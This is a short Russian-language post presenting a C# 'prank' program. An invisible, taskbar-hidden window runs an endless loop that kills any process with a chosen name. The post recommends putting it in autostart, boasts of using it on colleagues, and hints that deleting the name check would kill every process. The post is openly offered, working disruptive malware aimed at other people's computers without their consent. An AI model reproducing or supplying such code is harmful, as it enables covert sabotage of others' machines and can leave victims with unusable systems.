Суть следующая: создается win-окошко, свойства Opasity устанавливаются на 100%, ShowInTaskBar =
false - т.е. делаем окно невидимым и в таскбаре оно отражаться не будет.
На него ничего вешать не нужно, никакой полезной функциональности оно не несет.
Далее, на событие загрузки формы вызываем метод, в котором пишем буквально
следующее:
for(;;)
{
Process[] procMass=Process.GetProcesses();
foreach(Process x in procMass)
{
if(x.ProcessName=="добавить_имя_процесса")
x.Kill();
}
}
Скриптик получает список всех процессов, висящих в системе.
Сравнивает имя процесса (зависящего только от степени жестокости юного
западлостроителя) и попросту убивает его. Программку мона поместить в
автозагрузку. 🙂 В результате этого, несчастный заменяющий прокладку между
монитором и сиденьем, просто ничего не сможет понять. Пробовал на коллегах -
эффект потрясающий. Программку можно усовершенствовать - например убрать строку начинающаяся с if :)))
К чему это приведет - пояснять, думаю, не надо.
Единственное НО - на машине "клиента" должен
стоять .NET Framework.
Вот в принципе и все.